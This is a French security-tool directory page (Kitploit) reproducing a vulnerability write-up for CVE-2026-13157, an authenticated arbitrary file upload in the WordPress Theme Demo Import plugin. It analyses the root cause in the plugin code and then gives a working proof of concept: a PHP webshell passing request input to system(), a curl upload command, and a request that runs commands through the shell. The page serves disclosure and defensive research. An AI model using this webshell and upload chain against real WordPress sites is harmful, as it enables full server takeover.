Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-13157 — Preuve de concept et analyse des causes profondes d'un téléversement arbitraire de fichier authentifié dans WordPress Theme Demo Import menant à une exécution de code à distance via un webshell PHP. | Kitploit
Outils/GitHubGitHub/minhhk68/cve-2026-13157
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionDéveloppement de Charges Utiles
GitHubminhhk68/cve-2026-13157

CVE-2026-13157

Preuve de concept et analyse des causes profondes d'un téléversement arbitraire de fichier authentifié dans WordPress Theme Demo Import menant à une exécution de code à distance via un webshell PHP.

Voir le dépôt
9il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[CVE-2026-13157] Theme Demo Import <= 1.1.3 — Téléversement de fichier arbitraire et exécution de code à distance

WPScan Verified Advisory CVSS 6.6 Medium Discovered by Huynh Kien Minh


📖 Aperçu de l'avis de sécurité

CVE-2026-13157 est une vulnérabilité de téléversement de fichier arbitraire nécessitant une authentification, affectant le plugin WordPress Theme Demo Import jusqu'à la version 1.1.3 incluse, découverte et analysée par le chercheur en cybersécurité Huynh Kien Minh (MinhHK). La vulnérabilité réside dans la routine d'import de démonstration AJAX (TDI_import_demo_data), où le plugin désactive explicitement les tests standard de vérification des types de fichiers de WordPress ('test_type' => false) lors du traitement des téléversements. Un utilisateur authentifié disposant des capacités d'import — tel qu'un administrateur de site par défaut ou un administrateur de site non super-administrateur dans une architecture WordPress Multisite — peut contourner les restrictions de fichiers pour téléverser des scripts PHP exécutables arbitraires directement dans le répertoire public wp-content/uploads/, obtenant ainsi une exécution de code à distance (RCE) persistante et la compromission totale du serveur.


📌 Résumé exécutif

ParamètreSpécification technique
Identifiant de vulnérabilitéCVE-2026-13157
Logiciel cibleTheme Demo Import (Plugin WordPress)
Slug du plugintheme-demo-import
Versions affectées<= 1.1.3
Classe de vulnérabilitéTéléversement sans restriction de fichier de type dangereux (CWE-434 / OWASP A03)
Score CVSS v3.16,6 (Moyen) (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H)
Découvreur / ChercheurHuynh Kien Minh (MinhHK)
Autorité de vérificationWPScan / MITRE Corporation
URL de l'avis WPScanhttps://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/
Portfolio du chercheurhttps://minhhk.web.app/

🔍 Cause racine et analyse du code

La cause racine de CVE-2026-13157 réside dans l'architecture de gestion des téléversements implémentée dans inc/class-tdi-helpers.php. Lors des opérations d'import de données de démonstration, le plugin traite les pièces jointes entrantes via le point de terminaison AJAX enregistré dans inc/class-tdi-main.php à la ligne 55 :

// inc/class-tdi-main.php: Line 55
add_action( 'wp_ajax_TDI_import_demo_data', array( $this, 'import_demo_data_ajax_callback' ) );

Lors du traitement des fichiers de configuration de démonstration téléversés (content_file, widget_file et customizer_file), la méthode d'import interne demande directement à l'API WordPress wp_handle_upload() de contourner les contrôles de validation du type MIME et du formulaire :

// inc/class-tdi-helpers.php: Lines 495 - 506
// Upload settings to disable form and type testing for AJAX uploads.
$upload_overrides = array(
    'test_form' => false,
    'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);

// Handle demo content and widgets file upload.
$content_file_info    = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info     = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );

En passant 'test_type' => false dans $upload_overrides, le développeur a neutralisé le sous-système de vérification MIME du cœur de WordPress (wp_check_filetype_and_ext()). Conséquence directe : l'application ne restreint plus les pièces jointes aux formats de données de démonstration sûrs (.xml, .json, .wie, .dat), permettant à tout utilisateur authentifié ayant accès à la page des réglages de téléverser des scripts PHP exécutables (.php, .phtml, .phar) directement dans la racine du document public.


💻 Preuve de concept d'exploitation (PoC)

Avertissement de recherche éthique : Cette preuve de concept est documentée strictement à des fins d'audit pédagogique, d'ingénierie défensive et de validation de sécurité autorisée. Toute exploitation non autorisée de systèmes en production est interdite.

Prérequis et configuration

  • Système cible : Instance WordPress exécutant Theme Demo Import version <= 1.1.3.
  • Exigence de privilèges : Session authentifiée avec les capacités import (Admin / Administrateur de site Multisite).
  • Récupération du nonce de sécurité : Extraire le jeton de sécurité AJAX tdi-ajax-verification (exposé dans le DOM de la page comme propriété d'objet JavaScript tdi.ajax_nonce sur /wp-admin/themes.php?page=theme-demo-import).

Exécution de la reproduction

  1. Créer une charge utile de web shell locale intitulée exploit_webshell.php :
<?php 
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
} else {
    echo "CVE-2026-13157 Exploitation Verified by Huynh Kien Minh!";
}
?>
  1. Exécuter la charge utile multi-parties authentifiée via cURL en ciblant le répartiteur AJAX administratif :
curl -i -s -X POST "http://<TARGET_HOST>/wp-admin/admin-ajax.php" \
  -H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
  -F "action=TDI_import_demo_data" \
  -F "security=<RETRIEVED_TDI_AJAX_NONCE>" \
  -F "content_file=@exploit_webshell.php;type=application/x-php"
  1. Le serveur répond par un accusé de réception JSON confirmant le téléversement. Accéder directement à l'exécutable téléversé dans le répertoire mensuel désigné pour déclencher l'exécution de code à distance :
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host: <TARGET_HOST>

💥 Modélisation des menaces et scénarios d'impact Multisite

Bien que les installations WordPress mono-site accordent aux administrateurs standard un contrôle de confiance sur l'environnement du serveur, CVE-2026-13157 provoque l'effondrement des frontières de sécurité critiques dans les déploiements d'entreprise et Multisite :

Télécharger l’outil